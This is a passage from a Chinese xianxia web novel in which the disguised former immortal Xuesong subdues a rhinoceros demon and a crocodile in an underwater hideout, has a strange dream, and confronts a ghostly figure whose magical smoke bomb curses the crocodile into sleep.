但他也不能一点办法都不想,一点事情都不做,不然和放任自流也没什么区别,他是真心实意,不太想破坏仙尊形象的,虽然现在也破坏得差不多了,不过能保留一点就保留一点吧。
那现在应该怎么办呢?雪松翻了翻系统空间,发现还真有合适的绳子,拿了一根出来,往旁边看了看。
刚刚吞下一整碗食物的犀牛还在哭泣,不过脸上比之前多了一些疑惑,大概是疑惑,为什么现在还没有被打的吐出食物吧。
但他没有睁开眼睛,或许是觉得,闭上眼睛比较安全,这样正好方便了雪松,雪松一棍子把他打晕过去,反正他已经吃了东西,不用担心食物会被打翻在地上浪费掉。
实际上,雪松怀疑,就算食物被掉到地上了,犀牛或者鳄鱼醒过来,看见地上有食物,也会第一时间上去吃的,他们根本不在乎那东西有没有在地上,他们只想吃掉。
不过,考虑到他们一个是妖修,不知吃过多少地上的食物,另外一个是被俘虏了不知几天几夜的人,能有饭吃就不错了,谁还在乎是不是地上的?
更何况,闻起来那么香,那么好吃,又有灵气,只要没人看见,吃下去无论如何也是不亏的。
就算有人看见,自己无所谓,横竖是吃着了,在乎别人干什么?别人又不见得怎么饿过肚子。不理解他们,多半是没怎么饿过肚子,也用不着多解释。因为大概率没用。
确认犀牛已经昏迷过去,雪松把鳄鱼捆了起来,还踹了两脚,确认这条鱼也一时半会不会醒,松了一口气,在旁边坐下来休息。
本来只是打算休息一下就走,但是忽然发现,这个地方安安静静不受打扰,外面还有一层水阻隔着,一时半会儿,应该不会有什么人来,也十分隐蔽,简直是吃东西的好地方!
他在这点了一把火,发现真烧得起来,也就十分不客气,把犀牛角掏了出来,接着开始烧之前没有烧完的食物,这角挺大的,里面的汤和肉都剩了一些,不过折腾这一会儿都冷了,需要再加热,在这里加热正好,这里这么宽敞,又没有风,只要不会突然再出现一个人,就什么事也没有。
雪松眯着眼睛烧着肉,又往里面加了些水,想起来腰间还有一个残魂,又把残魂从口袋里掏出来,用系统空间里的魂魄专用夹子,夹住了,硬塞进汤锅里,像是涮肉似的,狠狠上下几个来回,那魂魄失去了力气,不再动弹了,连颜色都仿佛灰了几个度。
雪松就用夹子把那魂魄塞到了犀牛角的最底层,和火和水接触最亲密的地方,渐渐觉得有些困倦,不知不觉打起瞌睡了。
他倒没有完全睡过去,毕竟旁边还睡着两个人,真要是出了什么事,说不定睡过去就死了,没有醒过来的机会。
他还不想不明不白就死掉,所以只是半梦半醒而已,有什么事最多反应慢半拍,不会没有反应。
这里十分安静,火焰近在咫尺,水咕噜咕噜慢吞吞冒着泡泡,简直就是最适合睡眠的白噪音。
他就像被催眠了一样,闭着眼睛,坐在桌旁,守着旁边的火,虽然没有睡着,却觉得自己困极了,莫名其妙做起梦来。
一个白胡子老头出现在他面前,他感觉自己还是坐在那桌子旁边,但周围的两个人都像是被雾气遮盖了一样,身形模糊不清,隐约传来呼吸的声音,可是连那声音也似乎十分遥远,就像是从另外一个世界传来的。
雪松左右看了看,不知什么情况,但感觉自己在做梦,因此并没太惊慌失措,也不紧张,平静得如同在自己家一样。
“你是什么人?”雪松把对面那个老头打量了一下,发现这个人的脸也是模糊不清的,一下子有点想笑。
因为正常人的脸上是不打马赛克的,打马赛克的人,看起来除了模糊不清之外,还有一种诡异的,好像犯了法的感觉。
要么,是模仿法制频道的搞笑视频里会出现的画面,要么是采访节目会出现的,不想露脸的被采访人,通常会说一些炸裂的话。
不管是哪一种都很好笑,哪怕现在对面还没有开口,气氛已经出现诙谐,没有一丝一毫的悬疑或者恐怖感了。
对面没搞清楚雪松在想什么,也不知道他为什么想笑,但能感觉出来,随着他的态度的变化,他已经不严肃了,恐怕不太会把自己的话放在心上,下意识皱了皱眉。
但他还是回答了雪松的问题,一脸严肃捋了捋自己的胡子,双脚离地,漂浮在雪松的不远处,十分悲催似的叹了一口气,慢悠悠说:“我是曾经见过仙尊的人!”
虽然这话并不算完全揭露了他的身份,但他看起来说的是真话,雪松猛然一惊,开始努力回想自己什么时候见过这样的人。
但是,从前作为仙尊活的时间有点长,见过的人太多了,走南闯北五湖四海的,说过话的人都数不清,更何况见过的。
说不定别人把远远望过他一眼,也叫做见过,那他很难有什么印象,毕竟一个人要是活几百年,还什么都记得,那是很惨的一件事,修仙者的记忆再好,也不是这么用的。
再者说,还有一些人,就算只是听过,也会随口说自己见过,也有一些人买了画,挂在家里的墙壁上就当自己见过了,实际上和真人没有一丝一毫的关系,也有可能说自己见过。
那这就不是记忆的问题了,这根本是感知的问题,能不能记起来自己见过的人,和能不能感知到世界上有人说见过自己是两回事。
雪松想了一番,没想起来,放弃了,对面既然专门来见他,又特意提起跟他见过,多半是要把来龙去脉告诉他的,他何必特意想呢!浪费时间!
直接问不就好了?反正人在面前!刚才的问题都回答了,还有什么可担心的呢?大不了遇到不能回答的问题,直接跳过,再问能回答的问题不就完了?
“你有什么事?”雪松心态十分轻松,向对面问。
那人捋了捋胡子,上下打量了他一番,一种即将要回答他问题的样子,身形却逐渐飘远了,像是身后有一根线吊着,风筝似的,正在被扯回去,声音飘飘忽忽传来:“一件和仙尊有关的事!”
“那你找我干什么?”雪松警惕起来。仙尊的事情不应该去找仙尊吗?找他干什么?他现在的身份可不是仙尊,难道想骗他暴露自己的秘密不成?做梦!他是不会承认的!
“时间不多了,”老人叹了一口气,已经被模糊成远处的一个小点,但声音还是隐约传来,“下次见面再对你说!千万记得不要排斥我!不要把我——”
雪松站起身来,对面的半空中传来咻的一声响,那个老人一下子像是被关掉的电视机的画面一样不见了,什么也不剩下。
雪松左右看了看,周围的雾气散了,不远处地面上躺的两个人也清晰了许多,他正打算走过去,详细看看是不是还在梦里。
突然觉得脚下一空,猛然间抬起头来,才发现自己刚才仍然是在梦中,而现在似乎才是刚刚醒来,雪松低头看了看自己,一时有些迷茫,搞不清楚究竟怎么回事,恍恍惚惚,朦朦胧胧,将信将疑,若有所思。
刚才那个老人说什么?不要把我什么?不要把我丢掉?可是雪松身边又没有什么老人摆件。不要把我丢下?雪松又没和那个老人一起出门!走到哪儿算丢下?
难道是不要排斥我?那也不对,他不是这么说的。那是,不要把我关在你的灵魂之外?灵魂有点太近了。那是梦境?
刚才也确实更像是一个梦境,只是不太货真价实而已,有一种出现幻觉的感受,那么那句话是,不要把我抵触在你的梦境之外,免得我无法和你进行下一次见面,把更多的事情告诉你?
雪松正在想,旁边的水咕噜噜冒着泡,突然啪嗒一声,好像什么东西炸了,他吓了一跳,还以为是用来煮肉汤的,那个犀牛角炸了,转头一看,原来不是,松了一口气,走过去,发现只是一个挺大的泡泡破掉了而已。
他顺手用勺子搅拌了一下,旁边的两个人不知是时候到了,还是闻到香气,受到了刺激,突然就醒了过来,皱着眉头动着鼻子,喉咙里含糊不清喊着,仿佛是在说,不要动我的食物,恨不得跳起来一样。
雪松握着勺子,转过身来,看向他们两个,两个人似乎都不太清醒,只是恍恍惚惚睁着眼睛,一副行尸走肉的样子,让人怀疑他们的脑子是不是被打坏了。
雪松静静看着他们,不知道他们过一会儿能不能缓过来,顺手又用勺子搅拌了一下汤,本来时间久了,水加多了,汤汁的味道会淡一些,但是雪松刚刚往里面加了残魂,煮了一会儿,汤汁的气味又爆发开来,弥漫在整个空间里,像是猝不及防被炸开的催泪瓦斯一样。
对面两个人显然对此反应剧烈,在地上挣扎着,眼眶有些发红,很想喝一口汤的样子,眼泪不知不觉溢了出来,肚子还发出咕咕的响声,听起来像三天三夜没吃饭了一样。
但哪怕是不知道鳄鱼的情况,雪松也清楚犀牛不可能是三天没吃饭,因为下来之前才吃过,下来之后又吃过一次,最多是消化太快,又太馋了,肚子里才会这样响。
因此雪松只是摇了摇头,并没有打算把他们扶起来,送一口汤,只是把勺子放在了犀牛角的头上,又坐回了刚才的位置上。
犀牛睁开了眼睛,他的眼睛已经比之前好很多了,没有那么肿,也没有那么红,眼泪浅尝辄止,眼睛不至于被眼泪蒙得什么都看不见。
他定睛一看,看见雪松面前的那个犀牛角又灌满了汤,眼珠一红,忍不住饥肠辘辘问:“可以再给我喝一点吗?”
他说着说着悲从中来,又开始掉眼泪,哽咽着断断续续:“我不是故意的,但是……刚才有什么东西在抢我的饭碗……我好像抢回来了,碗已经空了,对不起,我还能再吃一碗吗?”
鳄鱼听见他的声音,完全醒了,想要从地上蹦起来,却发现自己被绳子捆住了,使劲力气想要挣脱,却没有挣脱开,只能像一条砧板上的鱼一样蹦蹦跳跳,非常有活力。
犀牛被鳄鱼的声音吸引了注意力,看了一眼,愣了一下,表情逐渐扭曲,有一点想笑,但眼泪还挂在脸上,因为身体被捆住,没办法抬手去擦眼泪,现在笑起来太古怪了,所以努力控制了,就显得更诡异了。
而且他刚才还在找雪松要食物,现在笑出来,岂不是一点不可怜,还显得精神错乱?那他吃到东西的概率就大大降低了。
他为了挪开自己的注意力,把目光集中在鳄鱼的身上那条绳子里,却发现自己不仅没有见过这条绳子,也没有这条绳子,那这条绳子是哪儿来的?毫无疑问是雪松拿出来的。
可是雪松,之前并没用这个东西处理犀牛,那他怎么会突然有这样的东西?犀牛稍稍疑惑,忽然觉得自己明白过来。
这一定是仙尊给的!仙尊真是神通广大!不管有没有人见过,有没有人用过的东西,都能拿出来,看刚才那个鳄鱼蹦哒了两下,一定是挣扎不开,那这个东西显然很有用啊!不愧是仙尊!见多识广!乐于助人!
雪松之前一点也不希望别人知道仙尊的事,那么这次仙尊在暗中施以援手的事,他们也一定不希望别人知道。
犀牛用一脸我明白了的表情点了点头,神色深沉,不再说话。
雪松虽然搞不明白他为什么突然安静,但看他不吵不闹,脑子也没出问题,觉得这是好事,也没有专门要挑起他的话头的意思,而是走到鳄鱼面前,问他:“想死还是想活?”
“想活想活!”鳄鱼感觉自己打不过雪松,吸了吸鼻子,一脸可怜巴巴的样子,希望得到同情,连忙回答。
“那好,我可以不杀你,”雪松点了点头,但并没给他解开绳子,只是说,“我不能做亏本买卖,你总得给我点什么吧?不然怎么换你的命?除非你觉得自己一文不值,那我可就动手了。”
雪松对他笑了笑,他猛然一惊,有种自己马上要被扒皮的错觉,立刻开动脑筋,眼前一亮,对雪松讨好笑了笑:“我可以给你讲故事!”
“我知道一个很长的故事!我用故事换我的命,好不好?在故事讲完之前,请不要杀我,好不好?讲完故事你还是不满意,给我个逃命机会再动手,好不好?”他连珠炮似的问。
雪松想了想,虽然故事值不了几个钱,但也不是非要杀他,就答应下来:“那你先讲给我听吧,我暂时不杀你,之后也可以给你逃跑的机会。”
“那太好了,我现在开始!”鳄鱼一个劲点头,迫不及待而毫不犹豫开始了故事:“在一个集市里,有一对夫妻,三代世交,青梅竹马,因为婚后虽然恩爱却没有子嗣,就去菩萨庙求子,没过多久,果然,怀了一个孩子。
他们两个想着总是在家里不合适,应该出去走走,顺便买点需要的东西,毕竟以后家里是要有一个孩子的,总不能什么孩子的东西都没有,那就不好养了。
夫妻俩就一起出门,男的去买东西,女的忽然想要更衣,就和男的分开了,到了集市上一个专门给人更衣的地方,那里人很多,就开始排队。
眼看着快要到了,那女的忽然被插队了,插队的是在他们家附近卖货的一个大娘,脾气很暴躁,穿的很好,挺有钱,而且卖的都是上等货,所以一向有些居功自傲。
女的不高兴,跟大娘吵了两句,大娘也不甘示弱,狠狠骂了回去,趾高气昂,提前进去了,又提前出来,路过那个女的身边又骂了两句,那个女的不高兴,但想着自己不好跟人打架也就算了。
谁知道出去之后,大娘带着一家子过来把人堵住,一边骂一边动手,扯头发,扯衣服,还踹了两脚,把人踹倒在地上,恨不得跳上去,还是专门挑不到十岁的小孩上去的,因为他们知道,这么搞之后,就算闹出事来,十岁的小孩,也不会被抓,不用怕吃亏。
小孩也不是他们家的小孩,是他们出了钱,请附近游荡的乞丐小孩来的,那些小孩拿了钱,只管办事,什么三七二十一,什么对对错错,都不讲究,一哄而上,恨不得使出十倍的力气,因为大娘在旁边说,谁干的好,谁就多拿钱。
男的听说出事就过来了,一看这情形,立刻上去,把闹得最欢的那个小孩,一脚踢飞出去。
那小孩当场撞在了旁边的柱子上,本来没发育好,营养不良,身体就脆,遭了这么用力的一击,立刻就头骨破裂死掉了。
女的挨了打,又见到死人,两眼一翻晕了过去,身上流出血来,肚子一阵蠕动,眼看着就流产了。
男的正在气头上,也没注意到,还想抓着别的人一起打,那大娘连同全家一看,事情不对,立刻就跑了,小孩子也一哄而散。
男的气得追了两步,才被人提醒,旁边出了事故,转头一看,大惊失色,连忙把人弄起来,要送到大夫那去。
好巧不巧,他们挑的那个大夫,前阵子接了一个腹大如箩的病人,隔着帘子躺在最里面,他们进去了就只躺在外面,大夫说可以治,但要放一个晚上,男的想守,被赶到门外去了,因为大夫说会影响治疗。”
第87章
故事似乎还没有说完, 但是,水面忽然发出轰隆一声响,紧接着, 一个圆滚滚的东西, 被不知什么人,从屏障的外面丢了进来。
那东西被丢进来的时候, 屏障简直像是一个带拉链的蚊帐一样, 发出了撕拉的声音,也不知道是坏了还是没有, 下一秒,那圆滚滚的东西就落在了里面的地板上。
雪松站了起来, 那东西距离他并不算太近, 但也不算太远, 他正要仔细看看那究竟是什么东西, 那东西忽然像是活着一样在地上滚了滚,砰的一声响, 在他面前炸开了, 好像油锅里蹦开一颗爆米花。
他本来就在警惕,听见声音吓了一跳,顿时往后跳去,整个人一下子远离了那个东西,等到之后再看的时候,那东西已经消失不见了, 周围雾气浓郁,一层飘忽的乳白色,像是牛奶锅里煮沸了之后会浮出的奶皮。
不知道是不是错觉,雪松动了动鼻子, 忽然觉得自己闻到了空气中飘出来的一种,血腥味混合着奶甜香气的古怪混合味,他有一点想吐,皱着眉头捂了一下嘴,感觉自己继续闻下去,要被诱发出葡萄园病菌的传染性。
他还没有开始吐,就忽然听见旁边传来了干呕的声音,皱着眉头转过头去,向着声音的来源看了过去。
周围的东西仍然被浓郁的雾气遮挡得严严实实,什么都看不清楚,声音倒是停了一下,像是注意到了他的目光,又像是晕了过去,也有可能是突然窒息了,所以没办法发出声。
雪松一步一步走了过去,目光警惕,肌肉紧绷,放慢了速度,屏住了呼吸,把整个人浑身上下所能发出的所有声音都尽可能降低。
刚才闻到的那种奶腥味和血腥味混合的味道越来越重了,好像他正在靠近气味的源头,他眯了眯眼睛,有一种自己正在被刺激性气味攻击的错觉,眼眶不知不觉红了,甚至还有一点泛起泪光,这并不是他主动的,而是气味刺激的结果。
也不知道这种时候应该庆幸眼睛居然那么灵敏,还是,懊恼在被人用气味攻击的时候,真不应该这样反应过敏,糟糕透了。
雪松眨了眨眼睛,试图缓解那种古怪的干涩困倦,注意到自己面前的地板上躺着一个人,这个人十分眼熟,他微微弯腰,低头一看,认出来了,这根本就是还在被捆着的鳄鱼。
鳄鱼的外形并没有太大的变化,但是眼睛紧闭着,嘴唇嘟囔着,声音含糊不清,身体也依然被捆着,好像除了突然被石头砸中一样晕倒,没有任何其他事。
雪松不知道该不该松一口气,往周围看了看,周围仍然没有什么人,好像刚才进来的只有那颗圆滚滚的像炸弹一样的东西。
他轻轻蹲了下去,伸出手向鳄鱼碰了碰,鳄鱼还是皱着眉头躺在地上闭着眼睛一动不动,有一种已经死了的样子,但呼吸和心跳还有脉搏都是在的,所以并不用太担心他的生命。
雪松收回手,忽然又闻到了一股坏掉的油的气味,并不是从附近来的,而是从屏障外面来的,感觉起来像是有人在用坏掉的油和很久没有洗过的锅,在外面用大火加热,还把臭抹布丢进去了。
雪松能感觉到自己头皮发麻,皱着眉头,理了理自己的头发,在确认里面没有突然多出什么奇怪的虫子之后,虽然知道现在并不是松一口气的时候,但还是,稍稍放松了一些。
事情没有结束,没有突然长出许多奇怪的虫子,并不算什么特别值得庆幸的事,但闻着那种糟糕的味道,就觉得好像有什么糟糕的事情即将在身体上发生,摸一摸比较妥,否则总觉得,自己正在那口奇怪的锅里,被肮脏的油加热,浑身刺挠,一点也不舒服,逐渐变成臭抹布。
那可一点也不好!
“醒醒!醒醒?”雪松眨了眨眼睛,试着推了推地上的鳄鱼,轻声喊了两句,发现鳄鱼没有反应,又拍了两下鳄鱼的头,鳄鱼仍然在那里昏睡,好像一时半会儿不会醒过来。
雪松皱着眉头站起身来,想要往不远处看一看犀牛的情况,刚走一步,就看见不远处站着一个人,正在雾气里背对着他,手里还打着一把蓝色的油纸伞,看起来分外诡异。
雪松顿了顿,没有继续往前走,而是目光警惕,把那个人观察了一番,没看见那个人有影子,也没看见那个人脚尖点地,隐约感受到一股鬼气,不知道这个人长什么样,也不觉得熟悉,眉头皱得更紧了一些。
那个人总是没有等到他开口,缓缓转过身来,脸倒是挺好看的,没有任何已死之人的凶相,也没什么伤口和血液,连疤痕都没有,简直像是专门清理过一样。
确实,如果这是水鬼的魂魄,身上少说要有一点珊瑚海草或者贝壳或者死鱼味,雪松却没看出来。
如果不是对面遮掩得特别好,或者雪松现在因为紧张而感知力下降,那就说明,这是一个特殊的存在,绝对不能掉以轻心。
“你没有什么想问我的吗?”那个打着伞的人眯了眯眼睛注视着雪松,神情有些忧郁,像是在天桥底下打算随便拦一个人算命,结果根本没拦住人还被人伸手一推,掀翻了摊子,只能摔在地上,连头发都散散的,还要费半天整理一样问。
雪松眨了眨眼睛,感觉对面在试图用奇怪的办法对他施加精神攻击和情绪感染,脸上闪过一丝迷茫:“我应该问你什么?”
他想了想,还真有一个问题,往旁边瞥了一眼,鳄鱼还是睡着,一副睡眠质量十分优美的样子。
雪松几乎不忍直视,闭了一下眼睛,很快又睁开,盯着对面的人问:“你对他做什么了?他刚才是醒的!一下子就起不来了!”
对面脸上露出一种你果然要问这个的满意的微笑,平心静气而慢条斯理,像一个清早复习过教科书,而上午考试正好考到了复习的所有内容的学生一样,简直有些志得意满似的回答:“如你所见,我刚才只是对他丢了一个,气味烟雾弹——”
他顿了顿,脸上的微笑逐渐扩大,如同钓鱼佬用力一提杆子,发现杆子底下是一条比预想中大得多的鱼,整个人充满了丰收的农民般的喜悦,抿了抿唇,甚至有点羞涩,好像怕太高兴,所以到嘴的鸭子会飞走一样:“这种东西的效果是,浓郁的白色雾气遮挡视线,一些微妙的刺鼻的气味对人进行干扰,还有最重要的一点!”
他特别对雪松强调,就像是一个老教师在讲台上指着黑板反复对学生讲几乎每一次都会考的常见答题:“我和这条鳄鱼有仇,所以早早准备了专门针对鳄鱼才会起效果的东西,加了进去,已经扩散在白雾和气味里了,在你们还没有反应过来的时候,他就已经中招了,现在昏迷不醒就是中了招的表现。”
“他会有什么后遗症吗?”雪松越听越觉得不妙,他刚才的故事还没有听完,这一下子就被人打断了,实在太亏了,脸色有些不太好看,但事已至此,非要和对方计较什么,又没那么有必要,因为弊大于利,只好勉强问。
“很简单,”对面一提起后遗症的事情,就高兴得有点合不拢嘴,像个被火焰烧开了一条缝的灯笼一样,喜庆中带着一丝诡异,“他每天只能醒来一次,时间不定,但在他解除我所对他使用的药物的效果之前,他都不能决定自己什么时候醒,什么时候睡,这是他之前针对我和敢和我作对的惩罚!他活该!”
“那我和旁边的那个呢?算什么?”雪松听见活该两个字,有一种奇怪的即视感,忍不住像摄像机面前的演员对剧本一样,下意识问。
说完,他忽然想起来这像什么了,这不就是苦情狗血剧里面常出现的台词吗?你这样对我,我们的孩子怎么办?你不要你的父母了吗?你以为你这样对吗?好诡异的东西!
一定是被这雾气和气味干扰了!要么就是被添加在里面的东西影响了!正常情况下,和一个刚刚发起攻击的陌生人,怎么可能想到那些不相干的东西?!
“算什么?算你们倒霉,可怜无辜又正好选中糟糕地方的路人罢了!还想算什么呢?总不至于向我要赔偿吧?别做梦了,我可没有赔偿给你!我的钱都被他抢光了!一分也不剩了!要钱找他去吧!”对面指着地上的鳄鱼,哈哈大笑起来,一副大仇得报的表情,连手里的伞都不太顾得上拿了,那东西像个风车一样转来转去。
周围的雾气都被那把伞转出来的风稍稍驱散。
雪松注视着这一幕,一时不知说什么,沉默着想了想,慢吞吞应了一声:“等他醒过来我会要钱的。”
对面愣了一下,再次捧腹大笑。
看得出来,他现在确实很快乐了。
笑完之后,一阵风吹过,那个模模糊糊的人影,在逐渐消散的雾气里,一点一点不见了,看起来就像是本来就不存在一样。
雪松若有所思,眨了眨眼睛,往周围看了看,确认那个人不会突然出现或者隐藏在附近,继续往前走去,他还得检查一下刚才那个人旁边的犀牛的情况。
也不知道有没有被那个人趁着他不注意的时候杀死,那犀牛可就倒霉了。不过应该不会,毕竟那个人一直在笑,应该没什么时间。
虽然也有身外化身那种存在,可以让人一心二用,但那个人看起来也不是很像有那种高修为的样子,或许不用太担心?
雪松走到了犀牛的面前,犀牛闭着眼睛一动不动,好像也在昏迷,不知道是受白雾的刺激,还是惊慌失措,情绪波动过大,又或者是,本来就身体不适,又撞上那个莫名其妙冒出来的,水鬼一样的人,被强制关机了。
雪松伸手推了推他,他倒是浅睡眠一样,浑身一抖就醒了过来,一点也不需要,雪松像刚才试图叫醒鳄鱼一样对他。
他瞪着眼睛,眼下青黑,已经被一系列的事情折腾得有一点没脾气的样子,呼哧呼哧喘着气,也不知道是不是刚才短时间内又做了一个噩梦。
“你感觉怎么样?”雪松注视着他问。
他眨了眨眼睛,盯着雪松看好一会儿,似乎刚刚才认出来这个人,呵呵笑了起来,笑了一会儿才想起回答,有一种脑子刚才被敲过的感觉,双目发直,像是被断了网的机器人一样,喃喃道:“不好意思,你说什么?”
话音未落,他想起来了,正常人这个时候应该说什么,又连忙说:“哦哦,我感觉还好。”看来他是听见了,只是不知道怎么反应,才会下意识随便挑了一个,或许常见的普通反应?
雪松挑了挑眉,觉得有一点好笑,虽然现在的情况大家都挺凄惨的,不适合笑,但还是很好笑,沉默了一会儿说:“没事起来走两步?要不要我扶你?”
话说完了,想起来,他身上还有绳索,就想办法把那东西弄开,噼里啪啦一阵响,原来他身上的不是普通的绳索,而是铁锁链表面上附着着一层水灵气,给人一种这应该是个普通东西的错觉。
实际上,那一层表面的水灵气应该是鳄鱼在昏迷之前弄的,虽然他昏迷之后就应该消失了,但他似乎还在里面使用了法阵,以至于这东西一时半会儿是不会自己变得毫无用处的。
从使用的角度说,这是以防万一,还真防住了,非常有用,从雪松和犀牛的角度说,他们不约而同都觉得自己有一点倒霉。
两个人对视一眼,沉默了一会,雪松收回手,试探着问:“你有什么好办法吗?”没有好办法,那可就得什么都试试了,一不小心有误伤也是没办法的事,到时候可不能喊哦!
犀牛眨了眨眼睛,喉咙里咕噜一声响,好像刚才吞下去的,是一个拳头大的核桃一样,脸上露出做下决定的凝重神色,深吸一口气,被雾气里还没消散的气味刺激得止咳,但还是断断续续说:“那就……咳咳咳……先扇地上那条鳄鱼两巴掌……试试看吧?万一能行呢?不能醒……也没关系,好歹我心里会舒服一点……”
他说完,闭着眼睛,身体里传出一阵不受控制的巨大的咳嗽声,听起来像个即将行将就木的老人,越看越惨。
尤其是身上的伤没好,被他这样一咳嗽,不知不觉又弄裂开了,新鲜的血从里面流出来,雾气里的血腥味更重了一些。
雪松无可奈何摇了摇头,但还是走到旁边去,当着他的面,扇了鳄鱼两巴掌,并没留手,只是鳄鱼仍然没有醒过来。
看来刚才那个水鬼一样的人过来说的话是真的,雾气里除了有刺激的气味,还有专门针对鳄鱼进行报复的,特殊药物成分,现在还在起效,以至于今天没有过完,鳄鱼根本不会醒过来。
雪松其实有一点怀疑,假如鳄鱼真的抵抗着药效,今天晚上就醒过来,也会被那个水鬼缠上,重新过来下药什么的。
说不定还会生气,觉得我给你下一个不用死的药你都不满意,那你觉得折磨我是不用负责任是吗?我还非要针对你不可了!
不是想要清醒吗?我这里有的是让你清醒承受疼痛无法休眠的药!我看你究竟是想要醒着还是睡着!只怕到时候你要自己乖乖去想办法把自己弄晕!
雪松转头看向仍然被锁链捆着的犀牛,犀牛看这样的情况,知道雪松一时半会儿是无能为力的,默默叹了一口气,想了想说:“那么随便用什么办法,只要能把我从这上面弄下来就好,别的都不用管,开始吧!”
他这次不深吸一口气了,但还是闭上了眼睛,大约就像是打针的人不想直视针头一样,眼睫毛颤了颤,脸上的神色逐渐归于平静,看起来莫名有种视死如归的气质。
雪松站起身向他走过去,他没有睁开眼睛,只是好像感觉到了,咬了咬牙,正在努力控制自己的身体,不要过于颤抖,给雪松添麻烦,毕竟,误伤也是很讨厌的。
雪松再次伸出手摸了摸他身上的链子,属于鳄鱼的水灵气扑面而来,从他的手指顺着胳膊,爬到脖颈,一路冲向了他的脸,简直像是轰隆一声的海啸,突如其来又猝不及防。
雪松选择使用蛮力,毕竟这个最简单,一点脑子都不用转,一把抓住了那缕像蛇一样突袭的灵气,手上狠狠一捏,只听咔嚓一声,那灵气就像是被骨折一样,从一条长长的扭曲的线,变成两角向上中间向下的三角直筒。
那东西在半空中颤了两颤就不见了,不用收拾,就是干净,雪松又回头看了看地上的鳄鱼,鳄鱼并没有醒过来的意思,看来这点离体的灵气对他不会造成什么严重的影响。
雪松若有所思,点了点头,既然如此,那就不用客气了,本来还担心一不小心下手太重,把讲故事都搞没了,现在只管下手就好,那可比蹑手蹑脚容易多了!
雪松把手按在了铁锁链上,调动身体内的灵气,从那只手心里迸发而去,就像是贴着仓库的门,往里面扔源源不断的同型号炸弹,只等着炸开了。
一阵轰隆轰隆的响声之后,雪松的灵气涌入了铁锁链之中,铁锁链没有办法扛住这样的灵器输入,就像个坏掉的电器一样,轰隆一声炸响,甚至还闪烁了一下火花,不过因为水灵气的原因,火花变成了水,水花溅出来之后,那东西颤抖了一下,就不声不响,跌落在地上,好像一条过家家的时候死掉的玩具蛇。
感受到锁链从身上落下,也能感受到雪松汹涌澎湃的灵气从自己身体表面擦肩而过,犀牛狠狠打了个哆嗦,有一种自己危在旦夕的感觉。
知道了秘密,不会要被灭口吧?说起来现在正是灭口的好时候!什么人都不在,唯一剩下在现场的那个,不仅昏迷不醒,而且是个妖修,甚至是个把人强行掳到水下的妖修,只怕就算醒过来,也没什么人相信他的话。
犀牛差一点就要把不要杀我脱口而出了,但最后时刻想起来,他之前说了要保守秘密,雪松也答应了,看起来是相信他的样子,那应该暂时不会对他下手,除非那本来就是装的,但和仙尊有关系的人,应该不至于做这种事吧?
他重重咬了咬嘴唇,皱着眉头,纠结而忍耐,雪松把锁链从他身上扯了扯,他被锁链的温度冷得一激灵,像是在冰天雪地里被人撕开伤口一样。
“睁开眼睛吧,”雪松看着他的脸色变来变去,无可奈何说,“锁链已经不会捆住你了,你应该往旁边走一走,这样就能把这东西丢开了,还是说你想带着出去?”
声音虽然算平静,语气却有一种匹配到好笑的感觉,这感觉让犀牛放松了很多,好像又回到了安全的环境,勉强相信雪松暂时不会对他进行杀人灭口,悄悄睁开了眼睛,其实这个时候还是怕自己看见什么不该看的。
但是定睛一看,现场情况并没什么变化,该躺着的鳄鱼还是躺着,也仍然被捆着,自己身上没有多余的伤,也没有死掉,雪松站在旁边看着他,目光如同注视一个刚刚拥有新身体的回魂的鬼。
他才低下头去,看了看自己的脚,原来之前在身上的锁链被解开之后就掉地上了,他还以为这东西解开之后,就会自己消失,或者裂成两半,可以直接丢出去,没想到,裂开是裂开了,但没完全裂开,可以对他失去捆绑作用,但是不能变成两半。
他往旁边走了两步,离开了锁链的圈定范围,感觉自己比之前更安全了一些,稍稍松了一口气,蹲下身去,又试着伸手碰了碰锁链,想看看这东西究竟什么质量,是不是还能坚持住,接着被使用。
但是手指头一碰到锁链,那东西就灰飞烟灭了,好像一个在火堆里被烧得干干净净,但还保留着形状的白纸,乍一看好像一点受损都没有,实际上早就变成灰了。
犀牛倒吸一口凉气,没想到雪松的解决办法这么厉害!虽然只是使用蛮力,但有些人连怎么使用蛮力都毫无技巧,好像一切只知道往前冲,冲到头了就够了,别的东西都可以不管不顾,要是再有个人在旁边,那可真是不知道死活了。
由此可见,雪松能够轻而易举解开那个看起来有点麻烦的锁链,而没有对他造成任何伤害,是一件十分了不起的事情。
这不仅证明雪松对于灵器的精准控制,也可以侧面证实雪松的灵力是十分强大的存在,也就是平时并不用来伤人。
否则,这种程度的灵力,随便放出去,遇到体质弱的人也能刮擦蹭到一大片,那些人要是一不小心再摔个跤,多半也就死了,一半是因为他们脆,一半是因为这样的灵力,确实是足够强的。
“非常感谢!”犀牛用亮晶晶的,好像刚刚被人从水里捞出来的湿漉漉的聪明小黑流浪猫的眼神望着雪松,真情实感说。
实际上,犀牛这个时候想的是,这么厉害的灵力,这么强的蛮力解除他人灵气控制物品的能力,一定和仙尊有关吧?
雪松果然是偷偷复活了仙尊的残魂,之后把仙尊藏在自己的身体里,暗中让仙尊教导自己,还顺便让仙尊在出现危险的时候出来帮忙和救助吧?
不然他怎么会知道这么多别人不知道的东西?怎么还都是好的?别人梦寐以求的?不然他怎么会那么胆大?勇敢得好像有另外一颗心脏。自己和他比起来真是自叹不如!
要是比一比脸,那就更自惭形秽了!真叫人感慨!明明都是人,甚至都是修士,差别却这样大,大得毫不留情,使人心碎!
他要是不解释,就是承认了他使用蛮力解除铁链的办法是仙尊教的,他要是解释,那我听一听,再考虑他和仙尊的关系吧。
雪松眨了眨眼睛,感觉他在想点什么自己不知道的事情,但只是感谢而已,也不是不可以接受,就点了点头回答:“不用谢。”
犀牛瞪大眼睛,一脸惊讶,虽然说的是不用谢,但是点了头吗?所以,点头的意思是承认自己和仙尊有关系,不用谢的意思是,帮你解决问题的办法不是我想的,是仙尊,你要谢也不必谢我,谢他就好?
真是善解人意又冰雪聪明还十分般配的一对啊!不然怎么能听出弦外之音?不然又怎么能这样清清楚楚给出回答?不然怎么这样商量好了似的谦虚?
犀牛一想到自己见到雪松之前受的种种苦难,再一想到雪松体内有一个博闻强识的仙尊残魂,好奇之心一起,忍不住再次试探问:“我们现在安全了吗?”
这句话虽然表面问的是现在,其实问的是之后,意思是,有仙尊的残魂在,我们是不是之后都可以,不必像之前那样小心翼翼了?
毕竟我已经知道你有仙尊残魂的秘密,你也不必再瞒我了,到时候出了事,比如我们在路上遇到了一时半会儿打不下来的强大妖兽,你能不能召唤仙尊残魂来解决问题?如果能,那我们就安全了,如果不能,那真是很可惜了!
